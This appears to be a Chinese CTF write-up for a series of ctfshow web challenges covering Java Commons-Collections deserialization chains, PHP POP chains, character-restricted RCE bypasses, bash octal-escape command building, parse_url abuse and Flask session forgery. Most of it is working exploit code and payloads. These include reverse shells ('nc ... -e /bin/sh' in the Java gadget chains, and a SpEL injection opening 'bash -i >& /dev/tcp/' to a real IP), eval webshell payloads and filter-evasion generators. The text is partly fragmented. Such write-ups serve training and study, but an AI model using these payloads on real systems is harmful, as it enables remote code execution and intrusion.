import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import org.apache.commons.collections4.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Base64; import java.io.ByteArrayOutputStream; import java.io.IOException; public class CC { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc yourip -e /bin/sh",}), //这里反弹shell,ip改成你自己vps的 new ConstantTransformer(1)}; //防止payload生成过程中触发,先放进去一个空的Transform Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashSet expMap = new HashSet(); expMap.add(entry); //移除entry那lazyMap的键 lazyMap.remove("foo"); //通过反射将真正的恶意Transform放进去 Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); // ================== // 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); String payload = new String(Base64.getEncoder().encode(barr.toByteArray())); System.out.println(payload);

web852

web853

之前那个改的链子打不通了,显示java.lang.ClassNotFoundException: ClassName Not Support,用yu22x师傅的链子改一下:

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.DefaultedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.io.ByteArrayOutputStream;
public class Main{
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException,Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"nc ip port -e /bin/sh"})
        Transformer transformerChain2 = new ChainedTransformer(transformers);
        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        Class<DefaultedMap> d = DefaultedMap.class;
        Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
        declaredConstructor.setAccessible(true);
        DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain2);
        DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain2);
        defaultedMap1.put("yy", 1);
        defaultedMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(defaultedMap1, 1);
        hashtable.put(defaultedMap2, 1);
        defaultedMap2.remove("yy");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);

windows下会报错,因为没法执行nc,所以建议linux下使用

web859_有跳板机

登录上去后sudo -s进入root权限,然后home目录创一个ctfshow目录,chmod 777 ctfshow给一下权限,然后就可以用xftp给ctfshow目录传一个fscan_amd64,接着上去扫一下内网。

先ifconfig看一下ip

function waf($path){ $path = str_replace(".","",$path); return preg_match("/^[a-z]+/",$path); if(waf($_POST[1])){ include "file://".$_POST[1]; data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>', '1':'localhost/tmp/sess_ctfshow', '2':'system("cat /flag_is_here.txt");' file = { 'file': 'ctfshow' cookies = { 'PHPSESSID': 'ctfshow' response = requests.post(url=url,data=data,files=file,cookies=cookies) print(response.text) function waf1($Chu0){ foreach ($Chu0 as $name => $value) { if(preg_match('/[a-z]/i', $value)){ exit("waf1"); function waf2($Chu0){ if(preg_match('/show/i', $Chu0)) exit("waf2"); function waf_in_waf_php($a){ $count = substr_count($a,'base64'); echo "hinthinthint,base64喔"."<br>"; if($count!=1){ return True; if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){ return True; }else{ return false; class ctf{ public $h1; public $h2; public function __wakeup(){ throw new Exception("fastfast"); public function __destruct() $this->h1->nonono($this->h2); class show{ public function __call($name,$args){ if(preg_match('/ctf/i',$args[0][0][2])){ echo "gogogo"; class Chu0_write{ public $chu0; public $chu1; public $cmd; public function __construct(){ $this->chu0 = 'xiuxiuxiu'; public function __toString(){ echo "__toString"."<br>"; if ($this->chu0===$this->chu1){ $content='ctfshowshowshowwww'.$_GET['chu0']; if (!waf_in_waf_php($_GET['name'])){ file_put_contents($_GET['name'].".txt",$content); }else{ echo "绕一下吧孩子"; $tmp = file_get_contents('ctfw.txt'); echo $tmp."<br>"; if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){ eval($tmp($_GET['cmd'])); }else{ echo "waf!"; file_put_contents("ctfw.txt",""); return "Go on"; if (!$_GET['show_show.show']){ echo "开胃小菜,就让我成为签到题叭"; highlight_file(__FILE__); }else{ echo "WAF,启动!"; waf1($_REQUEST); waf2($_SERVER['QUERY_STRING']); if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){ unserialize($_GET['show_show.show']); }else{ echo "被waf啦";

拆开看,把waf啥的都先不看,关键是触发到Chu0_write的toString()

header('Content-Type:text/html;charset=utf-8'); error_reporting(0); class ctf{ public $h1; public $h2; public function __destruct() $this->h1->nonono($this->h2); class show{ public function __call($name,$args){ if(preg_match('/ctf/i',$args[0][0][2])){ echo "gogogo"; class Chu0_write{ public function __toString(){ echo "__toString"."<br>"; unserialize($_GET['show_show.show']);

链子倒是不难

ctf::__destruct
show::__call()
Chu0_write::tostring

给ctf->$h1赋为show,这样触发call,然后$b=new Chu0_write(); $c=array(”,”,$b);$a->h2=array($c);实现对Chu0_write::tostring的触发

class ctf{ public $h1; public $h2; public function __destruct() $this->h1->nonono($this->h2); class show{ public function __call($name,$args){ if(preg_match('/ctf/i',$args[0][0][2])){ echo "gogogo"; class Chu0_write{ public function __toString(){ echo "__toString"."<br>"; $a=new ctf(); $b=new Chu0_write(); $c=array('','',$b); $a->h1=new show(); $a->h2=array($c); echo serialize($a); #O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:3:{i:0;s:0:"";i:1;s:0:"";i:2;O:10:"Chu0_write":0:{}}}}

传的时候用show[show.show,php判断的时候会把第一个[转为_然后后面的就不修改了。然后来看waf

function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");

这个简单,后面判断是waf1($_REQUEST);,同时传post和get其实只会判断get,所以post随便传一个1就行了。

RCE极限挑战

RCE挑战1

error_reporting(0); highlight_file(__FILE__); $code = $_POST['code']; $code = str_replace("(","括号",$code); $code = str_replace(".","点",$code); eval($code);

php里可以用<?=xxx ?>输出表达式的值,所以我们可以闭合前面的<?php,然后用反引号输出执行命令的结果:

code=?><?= `cat /f*`; 

当然也可以用我之前[HBCTF2017]大美西安的方法,直接echo出执行结果:

code=echo `cat /f*`;

RCE挑战2

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow)) { if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); }else{ phpinfo();

因为我对正则不是很熟悉,所以本来想直接问ChatGPT过滤了啥,网上看到了一个大佬的脚本挺好的,其实直接暴力遍历一遍就可以了:

for($a = 0; $a < 256; $a++){ if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($a))){ echo chr($a)." ";

大概剩下的可用的就是,那些不可见字符就算了:

! $ ' ( ) + , . / ; = [ ] _

简单看下过滤,其实和之前训练营那个题差不多,改改就能用,不过训练营我们使用了$__=++$____; –$__;这种形式构造了数字零,但这里减号被过滤了所以没法了。因此需要找其他途径,当时我们构造零的作用是为了在(_/_).”=NAN后用数组的形式取出第一个字母,所以需要((_/_).”){0}=’N’,不过其实除了这样还有种方法也可以完成这件事,我们在这里可以用一个判断,比如我们在[]里加一个==$,此时因为空和$不同,它就会输出0,此时也就等同于$_[0],所以事实上((_/_).”)[”==’$’]=’N’

++$____; #T $________=$____; #$________=T $_________=$______.$_____.$_______.$________; #POST $_________='_'.$_________; #_POST $$_________[_]($$_________[__]); #$_POST[_]($_POST[__];)

所以payload为:

$____=((_/_).'')[''=='$'];$_____=++$____; ++$____;$______=$____; ++$____;++$____;++$____; $_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________='_'.$_________;$$_________[_]($$_________[__]);

最后可以直接POST执行命令的payload为:

ctf_show=%24____%3D((_%2F_).'')%5B''%3D%3D'%24'%5D%3B%24_____%3D%2B%2B%24____%3B%20%2B%2B%24____%3B%24______%3D%24____%3B%20%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%20%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%5B_%5D(%24%24_________%5B__%5D)%3B&_=system&__=cat /f*

RCE挑战3

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow) && strlen($ctfshow) <= 105) { if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); }else{ phpinfo();

可用字符:

$ ( ) + , . / 0 1 ; = [ ] _ 

比上一道题少过滤了0和1,多过滤了!和’,但这里限制了我们的payload的长度必须少于105,所以现在咱们得思考怎么缩短长度,现在构造的payload:

$_=((_/_)._)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[1]); // $_POST[_]($_POST[1]);
$_=((_/_)._)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);

可以看到payload肉眼可见的变短了很多,长度只有80,可谓超额完成了任务😂

直接POST拿flag的payload:

ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B1%5D)%3B&_=system&1=cat /f*

RCE挑战4

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow) && strlen($ctfshow) <= 84) { if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); }else{ phpinfo();

可用字符为:

$ ( ) + , . / 0 ; = [ ] _

这里长度限制为84以下,和上一题比也就是多过滤了1,并且再一次限制了payload长度。不过我们上一题做的比较好,长度也才80,把那个1改成0这道题也能用了:

$_=((_/_).$_)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);

直接POST拿flag的payload:

ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=cat /f*

RCE挑战5

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow) && strlen($ctfshow) <= 73) { if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); }else{ phpinfo();

可用字符:

$ ( ) + , . / ; = [ ] _

比上一个题多过滤了0,而且长度限制在了73以内。看了下其他师傅的wp,发现了些神奇操作,首先对于取第一个字母N其实根本不需要用[0],甚至也不需要[”==’$’],其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符:

if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){ system($ctfshow); }else{ echo("????????");

可用字符:

 ! $ ' ( ) , . / 0 1 2 3 4 5 6 7 8 9 = ? \ a ~ 

可以用数字和字母a,我们不难联想到p牛博客里提到的用?通配符通配未知字母以此来执行这个getflag,payload:

ctf_show=/?????a?

极限命令执行2

//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。 //flag在根目录flag里,或者直接运行根目录getflag error_reporting(0); highlight_file(__FILE__); include "check.php"; if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; check($ctfshow); system($ctfshow);

check.php过滤的字符未知,我们手动fuzz一下,可用字符少了?,通配符这条路不行了,这里可以用另一种方法,我们可以用$’\xxx’的方式执行命令,其中xxx是ascii字母的8进制值,比如用$’\154\163’代替ls:

payload='$0<<<$0\\<\\<\\<\\$\\\'' for c in cmd: payload+=f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))' payload+='\\\'' r=requests.post(url,data={"ctf_show":payload,}) print(r.text)

极限命令执行4

//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。 //flag在根目录flag里 error_reporting(0); highlight_file(__FILE__); include "check.php"; if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; check($ctfshow); system($ctfshow);

这个题多过滤了1,但这也挺好解决的,我那篇无字母数字rce黑魔法也提到过一个神奇的脚本变量,那就是$#,他表示#后的字符数:

ctf_show=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

极限命令执行5

//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。 //flag在根目录flag里 error_reporting(0); highlight_file(__FILE__); include "check.php"; if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; check($ctfshow); system($ctfshow);

做到这里的时候经过研究我写了利用shell脚本变量构造无字母数字命令,提出了几种无字母数字命令构造方法以及脚本,但抽象的是我试了之后发现这些payload这里没法打,为什么呢,我们看到出题人的描述:

ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
#level5
import requests
url="http://15a309e4-9e6d-4a18-8767-7be0a1efdfa9.challenge.ctf.show/"
cmd='cat /flag'
r = {}
x='$((~$(())))'#-1
for i in range(1,9):
        r[i]='$((~$(('+x
        for j in range(i):
                r[i]+=x
        r[i]+='))))'
r[0]='$(())'
payload='__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
        payload+='\\\\'
        for i in oct(ord(c))[2:]:
                payload+=r[int(i)]
payload+='\\\''
r=requests.post(url,data={"ctf_show":payload,})
print(r.text)

PARSE_URL

$data = parse_url($_GET['u']); eval($data['host']);

取的是$data[‘host’],也就是域名,其实你也可以直接var_dump($data);看看都是什么参数代表什么意思,先在本地搭个环境,调试好自己的payload,最后我的payload:

?u=http://@eval($_POST[1]);
POST:1=system("cat /*f*");

这样取的域名就是@eval($_POST[1]);,直接写入源码里相当于一句话木马了

<?php $a = 'Original';
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a;
\$b = $b;
\$c = $c";
$a = Cat;
$b = Dog;
$c = Horse

经过parse_url($_GET[‘u’])处理之后我们url的各个参数其实本来也就变得像数组一样,所以我们现在只需要控制各个参数的值使最后解析出来的$$$$$$host为php://input,做这个题的时候我本地调试了蛮久的,我的测试代码是:

highlight_file(__FILE__); $url_array = parse_url($_GET['u']);#传入?u=query://pass:scheme@user/?fragment%23php://input var_dump($url_array); extract($url_array); echo "<br>"; echo "\$host:".$host; echo "<br>"; echo "\$\$host:".$$host; echo "<br>"; echo "\$\$\$host:".$$$host; echo "<br>"; echo "\$\$\$\$host:".$$$$host; echo "<br>"; echo "\$\$\$\$\$host:".$$$$$host; echo "<br>"; echo "\$\$\$\$\$\$host:".$$$$$$host; // include $$$$$$host; /*输出: array(7) { ["scheme"]=> string(5) "query" ["host"]=> string(4) "user" ["user"]=> string(4) "pass" ["pass"]=> string(6) "scheme" ["path"]=> string(1) "/" ["query"]=> string(8) "fragment" ["fragment"]=> string(11) "php://input" } $host:user $$host:pass $$$host:scheme $$$$host:query $$$$$host:fragment $$$$$$host:php://input */

所以用不同参数名慢慢构造就行了,因为fragment是最可控的,完全没有啥限制,所以我最后就让[“query”]=> string(8) “fragment”,这样$$query就会解析出来$fragment的值,前面几个参数的作用也就是互相跳转互相解析直到最后跳转到fragment,最后payload:

/?u=query://pass:scheme@user/?fragment%23php://input
POST: <?php system("cat /*f*");?>
POST /v1/auth/users?username=crow&password=crow HTTP/1.1
Host: 1a3e225d-bc43-47db-9b36-81e561dd5b2c.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://1a3e225d-bc43-47db-9b36-81e561dd5b2c.challenge.ctf.show
Connection: close
Referer: http://1a3e225d-bc43-47db-9b36-81e561dd5b2c.challenge.ctf.show/
Cookie: _ga=GA1.2.178448525.1671190440
    "name": "AddResponseHeader",
    "args": {
"name":"result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/43.153.175.155/9383 0>&1'}).getInputStream())).replaceAll(\"\n\",\"\").replaceAll(\"\r\",\"\")}"}
    "uri": "http://example.com"
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')
@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)
@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

可以看到我们需要伪造身份前往/secret_path_U_never_know,下个工具伪造下

python3 flask_session_cookie_manager3.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo\!"
#eyJpc2FkbWluIjp0cnVlfQ.Y5x4EA.mp5viAKszMXpwwwZhEWzsP0KAXI
if (isset($_GET['num'])){     if ($_GET['num'] == 114514){         assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");         echo $flag;

因为是弱比较,所以可以用:?num=114514+1805296,编码后也就是?num=114514%2B1805296

但又因assert函数跟eval函数类似,能够执行php,所以直接闭合也行

?num=114514);//
?num=114514)==1 or system('ls');#
编码一下:?num=114514)==1%20or%20system('ls')%3B%23
highlight_file(__FILE__);  include "flag.php";   if (isset($_GET['num'])){      if ($_GET['num'] == 114514 && check($_GET['num'])){               assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");               echo $flag; function check($str){   return !preg_match("/[a-z]|\;|\(|\)/",$str);
?num=114514%2b1805296

TapTapTap

public function init() { if (!preg_match('/flag/i', $this->cmd)) { $this->exec($this->cmd); public function exec($cmd) { $result = shell_exec($cmd); echo $result; if(isset($_GET['cmd'])) { $serializecmd = $_GET['cmd']; $unserializecmd = unserialize($serializecmd); $unserializecmd->init(); else { highlight_file(__FILE__); class Webshell { public $cmd = 'cat *'; $a=new Webshell(); echo serialize($a); #O:8:"Webshell":1:{s:3:"cmd";s:5:"cat *";}
print(payload) #gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]](" "+"xbit_mask"[4]+"xbit_mask"[4]+"xbit_mask"[2]+"xmpz"[1]+"xmpz"[2]+"zero"[3]+"zero"[2]+"zeta"[2]+"xbit_mask"[4]+"xbit_mask"[4]+"("+"'"+"zero"[3]+"xbit_mask"[7]+"'"+")"+"."+"xmpz"[2]+"zero"[3]+"xmpz"[2]+"zeta"[1]+"yn"[1]+"("+"'"+"unpack"[4]+"zeta"[3]+"zeta"[2]+" "+"/"+"root_of_unity"[6]+"rint_floor"[6]+"zeta"[3]+"sign"[2]+"'"+")"+"."+"zero"[2]+"zeta"[1]+"zeta"[3]+"t_mod_2exp"[4]+"("+")")
from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)

作用就是对当前目录执行[cmd[:3], param, __file__],其中cmd半可控,param可控_file_是个固定值。

        }else{             echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";             echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";     public function __toString(){         $this->call();         return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname; if (isset($_GET['code'])){     unserialize($_GET['code']); }else{     $a=new Ion_Fan_Princess();     echo $a;

简单的批爆,好久没见过这么淳朴的pop题了:

Moon::__wakeup()
Ion_Fan_Princess::__toString()
Ion_Fan_Princess::call()
class Moon{ public $name; class Ion_Fan_Princess{ public $nickname="小甜甜"; $a=new Moon(); $a->name=new Ion_Fan_Princess(); echo urlencode(serialize($a)); #?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D

LSB探姬

# !/usr/bin/env python
# -*-coding:utf-8 -*-
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():    
    return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
            f = request.files['file']
            f.save('upload/'+f.filename)
            cmd="python3 tsteg.py upload/"+f.filename
            result=os.popen(cmd).read()
            data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
            return jsonify(data)
        except:
            data={"code":1,"message":"file upload error!"}
            return jsonify(data)
    else:
        return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
    return render_template('source.html')
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)
eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7o